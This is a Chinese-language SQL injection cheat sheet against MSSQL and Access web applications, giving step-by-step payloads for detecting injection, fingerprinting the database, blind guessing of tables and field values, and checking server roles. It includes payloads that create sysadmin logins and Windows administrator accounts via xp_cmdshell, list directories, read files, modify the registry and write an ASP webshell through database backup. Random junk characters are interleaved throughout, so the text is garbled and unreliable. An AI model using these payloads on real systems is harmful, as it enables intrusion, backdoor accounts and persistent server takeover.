1.判断是否有注入;and 1=1 ;and 1=2 kBY#=e).
2.初步判断是否是mssql ;and user>0 !3o/c w9
L(X}37
3.注入参数是字符'and [查询条件] and ''=' /Xv@g$
7HL23Vrk
4.搜索时没过滤参数的'and [查询条件] and '%25'=' }WF6w+
aC<fzUD;
5.判断数据库系统 t}MT<Jj
)i\foSbB`V
;and (select count(*) from sysobjects)>0 mssql :c`djM^ll
A0Q1"b=
;and (select count(*) from msysobjects)>0 access 8%xiHPVg
tf1Y5P$
{UF|-VaG
" LhXR
6.猜数据库 ;and (select Count(*) from [数据库名])>0 '*t<g@2$
zm4e+v-
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 buWF6LFC
Ct:c%D(L
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 o =F!&]+
T( k:\z/
9.(1)猜字段的ascii值(access) AboRuHQ
o[S
Mt
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 u/wWD@,
$. sTb
(2)猜字段的ascii值(mssql) e'=#G$S?g
N]GF>kf:
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Bu{%mm(
5j _[z|W2
10.测试权限结构(mssql) maV*+!\
5p/.(
|b,
eO{2rV45O
.tK]-f2
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- fvG4K(
'o7V6KG
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 0.1?hb|p5T
cO-^#di
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- lH"VLO2l
Cio(Ptt:
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- D@k#'KU
-or)NE
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2 ,.8oa(
g=Nde2d?
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- !{ORFd
EclsOBg
;and 1=(select IS_MEMBER('db_owner'));-- K=dG-+B~}
,rhNXx
T3-/+4$0v
X"T)X#:)
11.添加mssql和系统的帐户 2V$YZSw6q
+.X3&|@k
;exec master.dbo.sp_addlogin username;-- e^hI[LbNC
;exec master.dbo.sp_password null,username,password;-- BIT<J5>
jW}hLjlN
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- jfZ)
XZ/cREz^s
;exec master.dbo.xp_cmdshell 'net user username password @~IZ%lEQsD
(T",6 xBSG
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- t\\<+^[%
i"{znKz vD
;exec master.dbo.xp_cmdshell 'net user username password /add';-- hP
jL
m .^WSy
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
_,*QJ
?C_Y2JY
nB%[\LtZ?
z>spRl,dr
12.(1)遍历目录 =Unu>p}2V
=AeOkie
;create table dirs(paths varchar(100), id int) ;GZ'Rb
w5a;ts_x
;insert dirs exec master.dbo.xp_dirtree 'c:\' .kDJuJ^
Ia>~ph#]{`
;and (select top 1 paths from dirs)>0 4o( Q+6m
L#/<y{
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) qvRs1yr?q
G\*`%B_ n
=5g|7grQ:`
ymA8`k5>@
(2)遍历目录 ]?hlpL
p1,.f&(f
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- * YTv"
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 vH]2t.\
6,skF^
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 alZ83^YN'
QH6_nZY
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 kT&GsR/
Aj@t*3
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 u:\DqdlU`
6+yA4pRSd
<*djtO
<GoZ>
13.mssql中的存储过程 VqdR
r7*'s
xp_regenumvalues 注册表根键, 子键 4J2C#Cs
g<MCvC@
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 :z+l=d:4
ImI,q:[67
xp_regread 根键,子键,键值名 vi0nJ -Xg
Iyt.`z
;exec xp_regread FJ O-p
h=ko_/<
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 A)D1
#,0
[u/W h+
xp_regwrite 根键,子键, 值名, 值类型, 值 (e[8`C
((]Sy,rdk
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 &fgfCZz'
e>$E67h<~
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 h, P#)^"
F2mW<REg{
xp_regdeletevalue 根键,子键,值名 zT jk^
UN`O*(k[
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 6zW3!_tz
t
x#(K#/
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 hN.{H:skL)
Y kcN-
7bx!A+, t
Z=>#|pW,)
14.mssql的backup创建webshell _9"%;:t
^es/xt
use model X?q,m4+
UWq[K&vQZ
create table cmd(str image); 0o-KjX?kP
kV+O|9
insert into cmd(str) values (''); r7n-Xe
2< Q3-|/i
backup database model to disk='c:\l.asp'; ]"4\]_?r
WhN~R[LE_
I?%iJ%
~!TRR.
15.mssql内置函数 G,h=5y9_J
<LA!L
;and (select @@version)>0 获得Windows的版本号 nn6&`$(Q~
I]Jz[{~1
;and user_name()='dbo' 判断当前系统的连接用户是不是sa >TZyax<:
jsnk*>j
;and (select user_name())>0 爆当前系统的连接用户 e khx?rz
R3gg{hQ
;and (select db_name())>0 得到当前连接的数据库 cAc>p-y%
ld/\`s[i
rP7f~"L
fs
wQ*
16.简洁的webshell e`Vb.E)
l<=Y.P_2
use model T_*R^Ukb5
[DO UIR9
create table cmd(str image); UFY_.N~
zeG_H}[2&
insert into cmd(str) values (''); W:
vw.
i$!-mYi+Q!
backup database model to disk='g:\wwwtest\l.asp';